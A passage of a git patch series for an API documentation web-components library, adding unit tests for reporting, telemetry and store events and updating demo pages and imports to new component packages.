   });
 
   describe('a11y', () => {
-    /** @type AmfDocument */
-    let model;
     before(async () => {
-      model = await loader.getGraph(true, 'loan-microservice');
+      const model = await loader.getGraph(true, 'loan-microservice');
+      store.amf = model;
     });
 
     /** @type ApiSummaryElement */
     let element;
     beforeEach(async () => {
-      element = await modelFixture(model);
+      element = await modelFixture();
     });
 
     it('passes accessibility test', async () => {
diff --git a/test/events/EventTypes.test.js b/test/events/EventTypes.test.js
index 274ff3e..ca271e6 100644
--- a/test/events/EventTypes.test.js
+++ b/test/events/EventTypes.test.js
@@ -164,4 +164,83 @@ describe('EventTypes', () => {
       ensureUnique('EventTypes.Request', EventTypes.Request);
     });
   });
+
+  describe('Reporting', () => {
+    it('has Reporting namespace', () => {
+      assert.typeOf(EventTypes.Reporting, 'object');
+    });
+
+    it('is frozen', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        EventTypes.Reporting = { read: '' };
+      });
+    });
+
+    [
+      ['error', 'apierror'],
+    ].forEach(([prop, value]) => {
+      it(`has ${prop} property`, () => {
+        assert.equal(EventTypes.Reporting[prop], value);
+      });
+    });
+
+    it('has unique events for the namespace', () => {
+      ensureUnique('EventTypes.Reporting', EventTypes.Reporting);
+    });
+  });
+
+  describe('Telemetry', () => {
+    it('has Telemetry namespace', () => {
+      assert.typeOf(EventTypes.Telemetry, 'object');
+    });
+
+    it('is frozen', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        EventTypes.Telemetry = { read: '' };
+      });
+    });
+
+    [
+      ['view', 'telemetryscreenview'],
+      ['event', 'telemetryevent'],
+      ['exception', 'telemetryexception'],
+      ['social', 'telemetrysocial'],
+      ['timing', 'telemetrytiming'],
+    ].forEach(([prop, value]) => {
+      it(`has ${prop} property`, () => {
+        assert.equal(EventTypes.Telemetry[prop], value);
+      });
+    });
+
+    it('has unique events for the namespace', () => {
+      ensureUnique('EventTypes.Telemetry', EventTypes.Telemetry);
+    });
+  });
+
+  describe('Store', () => {
+    it('has Store namespace', () => {
+      assert.typeOf(EventTypes.Store, 'object');
+    });
+
+    it('is frozen', () => {
+      assert.throws(() => {
+        // @ts-ignore
+        EventTypes.Store = { read: '' };
+      });
+    });
+
+    [
+      ['graphChange', 'apistoregraphchange'],
+    ].forEach(([prop, value]) => {
+      it(`has ${prop} property`, () => {
+        assert.equal(EventTypes.Store[prop], value);
+      });
+    });
+
+    it('has unique events for the namespace', () => {
+      ensureUnique('EventTypes.Store', EventTypes.Store);
+    });
+  });
 });
diff --git a/test/events/ReportingEvents.test.js b/test/events/ReportingEvents.test.js
new file mode 100644
index 0000000..a807c03
--- /dev/null
+++ b/test/events/ReportingEvents.test.js
@@ -0,0 +1,57 @@
+import { assert, fixture, html } from '@open-wc/testing';
+import sinon from 'sinon';
+import { Events, EventTypes } from  '../../index.js';
+
+/** @typedef {import('../../').ReportingErrorEventDetail } ReportingErrorEventDetail */
+
+describe('Events', () => {
+  /**
+   * @return {Promise<HTMLDivElement>}
+   */
+   async function etFixture() {
+    return fixture(html`<div></div>`);
+  }
+
+  describe('ReportingEvents', () => {
+    describe('error()', () => {
+      const err = new Error();
+      const desc = 'test error';
+      const cmp = 'test component';
+
+      it('dispatches the event', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Reporting.error, spy);
+        Events.Reporting.error(et, err, desc);
+        assert.isTrue(spy.calledOnce);
+      });
+
+      it('the event has the error property', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Reporting.error, spy);
+        Events.Reporting.error(et, err, desc);
+        const info = /** @type ReportingErrorEventDetail */ (spy.args[0][0].detail);
+        assert.isTrue(info.error === err);
+      });
+
+      it('the event has the description property', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Reporting.error, spy);
+        Events.Reporting.error(et, err, desc);
+        const info = /** @type ReportingErrorEventDetail */ (spy.args[0][0].detail);
+        assert.equal(info.description, desc);
+      });
+
+      it('the event has the component property', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Reporting.error, spy);
+        Events.Reporting.error(et, err, desc, cmp);
+        const info = /** @type ReportingErrorEventDetail */ (spy.args[0][0].detail);
+        assert.equal(info.component, cmp);
+      });
+    });
+  });
+});
diff --git a/test/events/StoreEvents.test.js b/test/events/StoreEvents.test.js
new file mode 100644
index 0000000..9f73037
--- /dev/null
+++ b/test/events/StoreEvents.test.js
@@ -0,0 +1,26 @@
+import { assert, fixture, html } from '@open-wc/testing';
+import sinon from 'sinon';
+import { Events, EventTypes } from  '../../index.js';
+
+/** @typedef {import('../../').ReportingErrorEventDetail } ReportingErrorEventDetail */
+
+describe('Events', () => {
+  /**
+   * @return {Promise<HTMLDivElement>}
+   */
+   async function etFixture() {
+    return fixture(html`<div></div>`);
+  }
+
+  describe('Store', () => {
+    describe('error()', () => {
+      it('dispatches the event', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Store.graphChange, spy);
+        Events.Store.graphChange(et);
+        assert.isTrue(spy.calledOnce);
+      });
+    });
+  });
+});
diff --git a/test/events/TelemetryEvents.test.js b/test/events/TelemetryEvents.test.js
new file mode 100644
index 0000000..22cfc9b
--- /dev/null
+++ b/test/events/TelemetryEvents.test.js
@@ -0,0 +1,204 @@
+import { assert, fixture, html } from '@open-wc/testing';
+import sinon from 'sinon';
+import { Events, EventTypes } from  '../../index.js';
+
+/** @typedef {import('../../').TelemetryDetail } TelemetryDetail */
+/** @typedef {import('../../').TelemetryEventDetail } TelemetryEventDetail */
+/** @typedef {import('../../').TelemetryScreenViewDetail } TelemetryScreenViewDetail */
+/** @typedef {import('../../').TelemetryExceptionDetail } TelemetryExceptionDetail */
+/** @typedef {import('../../').TelemetrySocialDetail } TelemetrySocialDetail */
+/** @typedef {import('../../').TelemetryTimingDetail } TelemetryTimingDetail */
+
+describe('Events', () => {
+  /**
+   * @return {Promise<HTMLDivElement>}
+   */
+  async function etFixture() {
+    return fixture(html`<div></div>`);
+  }
+
+  describe('Telemetry', () => {
+    describe('view()', () => {
+      const screenName = 'test-screen';
+
+      it('dispatches the event', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Telemetry.view, spy);
+        Events.Telemetry.view(et, screenName);
+        assert.isTrue(spy.calledOnce);
+      });
+
+      it('the event has screen name on the detail', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Telemetry.view, spy);
+        Events.Telemetry.view(et, screenName);
+        const info = /** @type TelemetryScreenViewDetail */ (spy.args[0][0].detail);
+        assert.equal(info.screenName, screenName);
+      });
+
+      it('the event has custom configuration', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        const custom = {
+          customMetrics: [{ index: 1, value: 1 }],
+          customDimensions: [{ index: 1, value: 'test' }],
+        };
+        et.addEventListener(EventTypes.Telemetry.view, spy);
+        Events.Telemetry.view(et, screenName, custom);
+        const info = /** @type TelemetryScreenViewDetail */ (spy.args[0][0].detail);
+        assert.deepEqual(info.customMetrics, custom.customMetrics, 'has customMetrics');
+        assert.deepEqual(info.customDimensions, custom.customDimensions, 'has customDimensions');
+      });
+    });
+
+    describe('event()', () => {
+      const init = { 
+        category: 'e-cat',
+        action: 'e-act',
+        label: 'e-label',
+        value: 1,
+      };
+
+      it('dispatches the event', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Telemetry.event, spy);
+        Events.Telemetry.event(et, init);
+        assert.isTrue(spy.calledOnce);
+      });
+
+      it('the event has the detail object', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Telemetry.event, spy);
+        Events.Telemetry.event(et, init);
+        const info = /** @type TelemetryEventDetail */ (spy.args[0][0].detail);
+        assert.deepEqual(info, init);
+      });
+    });
+
+    describe('exception()', () => {
+      const description = 'event-exception';
+      const fatal = true;
+
+      it('dispatches the event', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Telemetry.exception, spy);
+        Events.Telemetry.exception(et, description);
+        assert.isTrue(spy.calledOnce);
+      });
+
+      it('the event has the description property', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Telemetry.exception, spy);
+        Events.Telemetry.exception(et, description);
+        const info = /** @type TelemetryExceptionDetail */ (spy.args[0][0].detail);
+        assert.equal(info.description, description);
+      });
+
+      it('the event has the fatal property', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Telemetry.exception, spy);
+        Events.Telemetry.exception(et, description, fatal);
+        const info = /** @type TelemetryExceptionDetail */ (spy.args[0][0].detail);
+        assert.equal(info.fatal, true);
+      });
+
+      it('the event has the custom configuration', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        const custom = {
+          customMetrics: [{ index: 1, value: 1 }],
+          customDimensions: [{ index: 1, value: 'test' }],
+        };
+        et.addEventListener(EventTypes.Telemetry.exception, spy);
+        Events.Telemetry.exception(et, description, false, custom);
+        const info = /** @type TelemetryExceptionDetail */ (spy.args[0][0].detail);
+        assert.deepEqual(info.customMetrics, custom.customMetrics, 'has customMetrics');
+        assert.deepEqual(info.customDimensions, custom.customDimensions, 'has customDimensions');
+      });
+    });
+
+    describe('social()', () => {
+      const init = { 
+        network: 'e-network',
+        action: 'e-action',
+        target: 'e-target',
+      };
+
+      it('dispatches the event', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Telemetry.social, spy);
+        Events.Telemetry.social(et, init.network, init.action, init.target);
+        assert.isTrue(spy.calledOnce);
+      });
+
+      it('the event has the detail object', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Telemetry.social, spy);
+        Events.Telemetry.social(et, init.network, init.action, init.target);
+        const info = /** @type TelemetrySocialDetail */ (spy.args[0][0].detail);
+        assert.deepEqual(info, init);
+      });
+
+      it('the event has custom configuration', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        const custom = {
+          customMetrics: [{ index: 1, value: 1 }],
+          customDimensions: [{ index: 1, value: 'test' }],
+        };
+        et.addEventListener(EventTypes.Telemetry.social, spy);
+        Events.Telemetry.social(et, init.network, init.action, init.target, custom);
+        const info = /** @type TelemetrySocialDetail */ (spy.args[0][0].detail);
+        assert.deepEqual(info, { ...init, ...custom });
+      });
+    });
+
+    describe('timing()', () => {
+      const init = { 
+        category: 'e-category',
+        variable: 'e-variable',
+        value: 100,
+        label: 'e-label',
+      };
+
+      it('dispatches the event', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Telemetry.timing, spy);
+        Events.Telemetry.timing(et, init.category, init.variable, init.value, init.label);
+        assert.isTrue(spy.calledOnce);
+      });
+
+      it('the event has the detail object', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        et.addEventListener(EventTypes.Telemetry.timing, spy);
+        Events.Telemetry.timing(et, init.category, init.variable, init.value, init.label);
+        const info = /** @type TelemetryTimingDetail */ (spy.args[0][0].detail);
+        assert.deepEqual(info, init);
+      });
+
+      it('the event has custom configuration', async () => {
+        const et = await etFixture();
+        const spy = sinon.spy();
+        const custom = {
+          customMetrics: [{ index: 1, value: 1 }],
+          customDimensions: [{ index: 1, value: 'test' }],
+        };
+        et.addEventListener(EventTypes.Telemetry.timing, spy);
+        Events.Telemetry.timing(et, init.category, init.variable, init.value, init.label, custom);
+        const info = /** @type TelemetryTimingDetail */ (spy.args[0][0].detail);
+        assert.deepEqual(info, { ...init, ...custom });
+      });
+    });
+  });
+});

From 800cf65ac3f7b8b38e67fda8a140a24a1b47cafb Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Wed, 20 Oct 2021 17:07:18 -0700
Subject: [PATCH 27/36] chore: upgrading to the new components

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 .vscode/settings.json                         |    2 +
 README.md                                     |    4 +-
 demo/api-channel.js                           |    5 +-
 demo/api-console.js                           |   20 +-
 demo/api-documentation-partial.js             |   24 +-
 demo/api-documentation.js                     |   19 +-
 demo/api-editor.js                            |   18 +-
 demo/api-operation.js                         |   17 +-
 demo/api-payload.js                           |    1 -
 demo/api-request.js                           |   16 +-
 demo/api-resource.js                          |   17 +-
 demo/api-schema-documentation.js              |    2 +-
 demo/api-security-documentation.js            |    2 +-
 demo/api-summary.js                           |    3 +-
 demo/http-label.html                          |   68 -
 demo/index.html                               |    2 -
 demo/lib/AmfDemoBase.js                       |   10 +-
 demo/oauth-authorize.js                       |    8 +-
 demo/request-editor.js                        |   24 +-
 demo/server-selector.js                       |   18 +-
 http-method-label.d.ts                        |    7 -
 http-method-label.js                          |    3 -
 index.d.ts                                    |    4 +-
 index.js                                      |    3 +-
 package-lock.json                             | 3910 +++--------------
 package.json                                  |   40 +-
 src/elements/ApiAnnotationDocumentElement.js  |    2 +-
 .../ApiAuthorizationEditorElement.d.ts        |   12 +-
 src/elements/ApiAuthorizationEditorElement.js |   48 +-
 .../ApiAuthorizationMethodElement.d.ts        |    9 +-
 src/elements/ApiAuthorizationMethodElement.js |   28 +-
 src/elements/ApiDocumentationBase.d.ts        |    4 +-
 src/elements/ApiDocumentationBase.js          |   12 +-
 .../ApiDocumentationDocumentElement.js        |    4 +-
 src/elements/ApiDocumentationElement.d.ts     |    2 +-
 src/elements/ApiDocumentationElement.js       |    8 +-
 src/elements/ApiNavigationElement.d.ts        |    4 +-
 src/elements/ApiNavigationElement.js          |   28 +-
 src/elements/ApiOperationDocumentElement.js   |   28 +-
 .../ApiParametrizedSecuritySchemeElement.js   |    2 +-
 src/elements/ApiRequestDocumentElement.js     |    6 +-
 src/elements/ApiRequestEditorElement.d.ts     |    8 +-
 src/elements/ApiRequestEditorElement.js       |   81 +-
 src/elements/ApiRequestElement.d.ts           |   80 +-
 src/elements/ApiRequestElement.js             |   28 +-
 src/elements/ApiResourceDocumentElement.d.ts  |    2 +-
 src/elements/ApiResourceDocumentElement.js    |    2 +-
 src/elements/ApiResponseDocumentElement.js    |   12 +-
 src/elements/ApiResponseViewElement.d.ts      |   22 +-
 src/elements/ApiResponseViewElement.js        |   30 +-
 src/elements/ApiSchemaDocumentElement.d.ts    |    3 +
 src/elements/ApiSchemaDocumentElement.js      |    6 +-
 src/elements/ApiSecurityDocumentElement.js    |   12 +-
 src/elements/ApiServerSelectorElement.d.ts    |    4 +-
 src/elements/ApiServerSelectorElement.js      |   54 +-
 src/elements/ApiSummaryElement.js             |    4 +-
 src/elements/HttpMethodLabelElement.d.ts      |   43 -
 src/elements/HttpMethodLabelElement.js        |  154 -
 src/elements/XhrSimpleRequestElement.d.ts     |    2 +-
 src/elements/XhrSimpleRequestElement.js       |    2 +-
 .../XhrSimpleRequestTransportElement.d.ts     |    2 +-
 .../XhrSimpleRequestTransportElement.js       |    4 +-
 .../styles/AuthorizationMethod copy.js        |   67 -
 src/elements/styles/Editor.styles.js          |    4 +-
 src/elements/styles/HttpLabel.js              |  184 -
 src/events/RequestEvents.d.ts                 |   13 +-
 src/lib/AmfInputParser.js                     |    2 +-
 src/lib/AmfParameterMixin.d.ts                |    2 +-
 src/lib/AmfParameterMixin.js                  |   46 +-
 src/lib/ApiAuthDataHelper.js                  |    8 +-
 src/lib/PayloadUtils.d.ts                     |    4 +-
 src/lib/PayloadUtils.js                       |    2 +-
 src/lib/SecurityProcessor.d.ts                |    8 +-
 src/lib/SecurityProcessor.js                  |   25 +-
 src/lib/Utils.js                              |    2 +-
 src/lib/auth-ui/ApiKeyAuth.js                 |    2 +-
 src/lib/auth-ui/ApiUiBase.js                  |   20 +-
 src/lib/auth-ui/CustomAuth.js                 |   10 +-
 src/lib/auth-ui/OAuth1Auth.js                 |    2 +-
 src/lib/auth-ui/OAuth2Auth.js                 |   12 +-
 src/lib/auth-ui/PassThroughAuth.js            |   10 +-
 src/store/AmfGraphStore.js                    |    2 +-
 src/store/mixins/AmfStoreDomEventsMixin.d.ts  |    2 +-
 src/store/mixins/AmfStoreDomEventsMixin.js    |    2 +-
 src/types.d.ts                                |   13 +-
 .../ApiAuthorizationEditorElement.oas.test.js |   12 +-
 ...ApiAuthorizationEditorElement.raml.test.js |   16 +-
 test/authorization/CustomMethod.test.js       |    2 +-
 test/authorization/OAuth1Method.test.js       |    4 +-
 test/authorization/OAuth2Method.test.js       |    4 +-
 test/authorization/PassThroughMethod.test.js  |    2 +-
 .../ApiOperationDocumentElement.test.js       |    2 +-
 .../elements/ApiSchemaDocumentElement.test.js |    2 +-
 .../elements/ApiServerSelectorElement.test.js |   24 +-
 test/elements/HttpMethodLabelElement.test.js  |  140 -
 test/navigation/ApiNavigationElement.test.js  |    2 +-
 96 files changed, 1114 insertions(+), 4537 deletions(-)
 delete mode 100644 demo/http-label.html
 delete mode 100644 http-method-label.d.ts
 delete mode 100644 http-method-label.js
 delete mode 100644 src/elements/HttpMethodLabelElement.d.ts
 delete mode 100644 src/elements/HttpMethodLabelElement.js
 delete mode 100644 src/elements/styles/AuthorizationMethod copy.js
 delete mode 100644 src/elements/styles/HttpLabel.js
 delete mode 100644 test/elements/HttpMethodLabelElement.test.js

diff --git a/.vscode/settings.json b/.vscode/settings.json
index 4086f58..3884893 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -19,12 +19,14 @@
     "fasttext",
     "formdata",
     "httpbin",
+    "itemschange",
     "mimechange",
     "monostate",
     "Nexmo",
     "notryit",
     "onapiserverchange",
     "onserverscountchange",
+    "openedchange",
     "populateannotatedfields",
     "preconnect",
     "redirecturichange",
diff --git a/README.md b/README.md
index 91327c5..ebadf56 100644
--- a/README.md
+++ b/README.md
@@ -26,8 +26,8 @@ npm install --save @api-components/amf-components
       import '@api-components/amf-components/api-request.js';
       import '@api-components/amf-components/api-navigation.js';
       import '@api-components/amf-components/xhr-simple-request.js';
-      import '@advanced-rest-client/authorization/oidc-authorization.js';
-      import '@advanced-rest-client/authorization/oauth2-authorization.js';
+      import '@advanced-rest-client/app/define/oidc-authorization.js';
+      import '@advanced-rest-client/app/define/oauth2-authorization.js';
     </script>
   </head>
   <body>
diff --git a/demo/api-channel.js b/demo/api-channel.js
index caa276b..5eaed7d 100644
--- a/demo/api-channel.js
+++ b/demo/api-channel.js
@@ -1,7 +1,7 @@
 import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
-import '@advanced-rest-client/authorization/oauth2-authorization.js';
+import '@advanced-rest-client/app/define/oauth2-authorization.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-channel-document.js';
 
@@ -13,7 +13,6 @@ class ComponentPage extends AmfDemoBase {
     this.initObservableProperties([ 
       'selectedId', 'selectedType', 'selectedOperation',
     ]);
-    this.compatibility = false;
     this.selectedId = undefined;
     this.selectedType = undefined;
     this.selectedOperation = undefined;
diff --git a/demo/api-console.js b/demo/api-console.js
index d30c328..51fb385 100644
--- a/demo/api-console.js
+++ b/demo/api-console.js
@@ -1,22 +1,23 @@
 import { html } from 'lit-html';
 import { classMap } from 'lit-html/directives/class-map.js';
-import '@anypoint-web-components/anypoint-button/anypoint-icon-button.js';
-import '@anypoint-web-components/anypoint-menu-button/anypoint-menu-button.js';
-import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
-import '@anypoint-web-components/anypoint-item/anypoint-item.js';
-import '@advanced-rest-client/arc-icons/arc-icon.js';
-import '@advanced-rest-client/authorization/oauth2-authorization.js';
+import '@anypoint-web-components/awc/anypoint-icon-button.js';
+import '@anypoint-web-components/awc/anypoint-menu-button.js';
+import '@anypoint-web-components/awc/anypoint-listbox.js';
+import '@anypoint-web-components/awc/anypoint-item.js';
+import '@advanced-rest-client/icons/arc-icon.js';
+import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import { MonacoLoader } from "@advanced-rest-client/monaco-support";
 import { ApplicationPage } from "./lib/ApplicationPage.js";
 import { findRoute, navigate } from './lib/route.js';
 import { EventTypes } from '../src/events/EventTypes.js';
 import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
+import { DomEventsAmfStore } from "../src/store/DomEventsAmfStore.js";
 import "../api-navigation.js";
 import '../api-documentation.js';
 import '../xhr-simple-request.js';
 
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
-/** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */
+/** @typedef {import('@anypoint-web-components/awc').AnypointListboxElement} AnypointListbox */
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 /** @typedef {import('../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../src/types').SelectionType} SelectionType */
@@ -82,6 +83,8 @@ export class ApiConsole extends ApplicationPage {
       'domainId', 'domainType', 'operationId',
       'apiId', 'initializing'
     );
+    this.store = new DomEventsAmfStore(undefined, window);
+    this.store.listen();
     /**
      * When set the application is initializing its environment.
      */
@@ -273,6 +276,7 @@ export class ApiConsole extends ApplicationPage {
         [data] = data;
       }
       this.model = data;
+      this.store.amf = data;
       this.postApiLoad(data);
       this.apiLoaded = true;
       this.render();
@@ -487,7 +491,7 @@ export class ApiConsole extends ApplicationPage {
     <section class="api-selector">
       <div class="title-line"><h2>Select an API</h2></div>
       <div class="api-list">
-        <anypoint-listbox slot="dropdown-content" id="apiList" @selected-changed="${this.apiSelected}">
+        <anypoint-listbox slot="dropdown-content" id="apiList" @selectedchange="${this.apiSelected}">
         ${ApiList.map(([file, label]) => html`
         <anypoint-item data-src="${file}">${label}</anypoint-item>
         `)}
diff --git a/demo/api-documentation-partial.js b/demo/api-documentation-partial.js
index 2542fff..61df9d7 100644
--- a/demo/api-documentation-partial.js
+++ b/demo/api-documentation-partial.js
@@ -1,9 +1,9 @@
 import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
-import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js';
-import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js';
-import '@advanced-rest-client/authorization/oauth2-authorization.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-dialog.js';
+import '@anypoint-web-components/awc/anypoint-dialog-scrollable.js';
+import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import { AmfPartialGraphStore } from './lib/AmfPartialGraphStore.js';
 import '../api-documentation.js';
@@ -38,10 +38,10 @@ class ComponentDemo extends AmfDemoBase {
     ]);
     this.partialStore = new AmfPartialGraphStore();
     this.componentName = 'api-documentation';
-    this.compatibility = false;
     this.editorOpened = false;
     this.editorOperation = undefined;
     this.domainId = undefined;
+    /** @type any */
     this.domainType = undefined;
     this.operationId = undefined;
     this.tryItButton = true;
@@ -200,10 +200,10 @@ class ComponentDemo extends AmfDemoBase {
         .redirectUri="${this.redirectUri}"
         .tryItPanel="${this.tryItPanel}"
         .tryItButton="${this.tryItButton}"
-        .httpNoServerSelector="${this.noServerSelector}"
-        .httpAllowCustomBaseUri="${this.allowCustomBaseUri}"
+        .noServerSelector="${this.noServerSelector}"
+        .allowCustomBaseUri="${this.allowCustomBaseUri}"
         .baseUri="${finalBaseUri}"
-        ?anypoint="${this.compatibility}"
+        ?anypoint="${this.anypoint}"
         @tryit="${this.tryitHandler}"
       >
         ${this._addCustomServers()}
@@ -293,18 +293,18 @@ class ComponentDemo extends AmfDemoBase {
     if (!this.renderCustomServer) {
       return '';
     }
-    const { compatibility } = this;
+    const { anypoint } = this;
     return html`
     <div class="other-section" slot="custom-base-uri">Other options</div>
     <anypoint-item
       slot="custom-base-uri"
       data-value="http://mocking.com"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
     >Mocking service</anypoint-item>
     <anypoint-item
       slot="custom-base-uri"
       data-value="http://customServer.com2"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
     >Custom instance</anypoint-item>`;
   }
 
@@ -316,7 +316,7 @@ class ComponentDemo extends AmfDemoBase {
         <api-request
           .amf="${this.summaryModel}"
           .domainId="${this.editorOperation}"
-          ?compatibility="${this.compatibility}"
+          ?anypoint="${this.anypoint}"
           urlLabel
           applyAuthorization
           globalCache
diff --git a/demo/api-documentation.js b/demo/api-documentation.js
index d192727..be30a36 100644
--- a/demo/api-documentation.js
+++ b/demo/api-documentation.js
@@ -1,9 +1,9 @@
 import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
-import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js';
-import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js';
-import '@advanced-rest-client/authorization/oauth2-authorization.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-dialog.js';
+import '@anypoint-web-components/awc/anypoint-dialog-scrollable.js';
+import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-request.js';
 import '../xhr-simple-request.js';
@@ -25,7 +25,6 @@ class ComponentDemo extends AmfDemoBase {
       'renderCustomServer',
     ]);
     this.componentName = 'api-documentation';
-    this.compatibility = false;
     this.editorOpened = false;
     this.editorOperation = undefined;
     this.domainId = undefined;
@@ -129,7 +128,7 @@ class ComponentDemo extends AmfDemoBase {
         .noServerSelector="${this.noServerSelector}"
         .allowCustomBaseUri="${this.allowCustomBaseUri}"
         .baseUri="${finalBaseUri}"
-        ?anypoint="${this.compatibility}"
+        ?anypoint="${this.anypoint}"
         @tryit="${this.tryitHandler}"
       >
         ${this._addCustomServers()}
@@ -221,18 +220,18 @@ class ComponentDemo extends AmfDemoBase {
     if (!this.renderCustomServer) {
       return '';
     }
-    const { compatibility } = this;
+    const { anypoint } = this;
     return html`
     <div class="other-section" slot="custom-base-uri">Other options</div>
     <anypoint-item
       slot="custom-base-uri"
       data-value="http://mocking.com"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
     >Mocking service</anypoint-item>
     <anypoint-item
       slot="custom-base-uri"
       data-value="http://customServer.com2"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
     >Custom instance</anypoint-item>`;
   }
 
@@ -244,7 +243,7 @@ class ComponentDemo extends AmfDemoBase {
         <api-request
           .amf="${this.amf}"
           .domainId="${this.editorOperation}"
-          ?compatibility="${this.compatibility}"
+          ?anypoint="${this.anypoint}"
           urlLabel
           applyAuthorization
           globalCache
diff --git a/demo/api-editor.js b/demo/api-editor.js
index affe182..0c8b18d 100644
--- a/demo/api-editor.js
+++ b/demo/api-editor.js
@@ -1,12 +1,13 @@
 import { html } from 'lit-html';
 import { classMap } from 'lit-html/directives/class-map.js';
-import '@anypoint-web-components/anypoint-button/anypoint-icon-button.js';
-import '@anypoint-web-components/anypoint-menu-button/anypoint-menu-button.js';
-import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
-import '@anypoint-web-components/anypoint-item/anypoint-item.js';
-import '@advanced-rest-client/arc-icons/arc-icon.js';
-import '@advanced-rest-client/authorization/oauth2-authorization.js';
+import '@anypoint-web-components/awc/anypoint-icon-button.js';
+import '@anypoint-web-components/awc/anypoint-menu-button.js';
+import '@anypoint-web-components/awc/anypoint-listbox.js';
+import '@anypoint-web-components/awc/anypoint-item.js';
+import '@advanced-rest-client/icons/arc-icon.js';
+import '@advanced-rest-client/app/define/oauth2-authorization.js';
 import { MonacoTheme, MonacoStyles, MonacoLoader } from '@advanced-rest-client/monaco-support';
+import { DomEventsAmfStore } from "../src/store/DomEventsAmfStore.js";
 import { ApplicationPage } from "./lib/ApplicationPage.js";
 import { EventTypes } from '../src/events/EventTypes.js';
 // import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
@@ -21,7 +22,7 @@ const ApiMediaKey = 'ApiEditor.Media';
 
 /* global monaco */
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
-/** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */
+/** @typedef {import('@anypoint-web-components/awc').AnypointListboxElement} AnypointListbox */
 /** @typedef {import('monaco-editor').editor.IStandaloneEditorConstructionOptions} IStandaloneEditorConstructionOptions */
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 /** @typedef {import('../src/helpers/amf').AmfDocument} AmfDocument */
@@ -47,6 +48,8 @@ export class ApiTextEditor extends ApplicationPage {
       'initializing', 'apiFormat', 'apiMedia',
       'editorOpened', 'editorOperation',
     );
+    this.store = new DomEventsAmfStore(undefined, window);
+    this.store.listen();
     /**
      * When set the application is initializing its environment.
      */
@@ -536,6 +539,7 @@ export class ApiTextEditor extends ApplicationPage {
       [model] = model;
     }
     this.model = model;
+    this.store.amf = model;
     this.loading = false;
     console.log(model);
   }
diff --git a/demo/api-operation.js b/demo/api-operation.js
index 26bcb30..c56d589 100644
--- a/demo/api-operation.js
+++ b/demo/api-operation.js
@@ -1,9 +1,9 @@
 import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
-import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
-import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js';
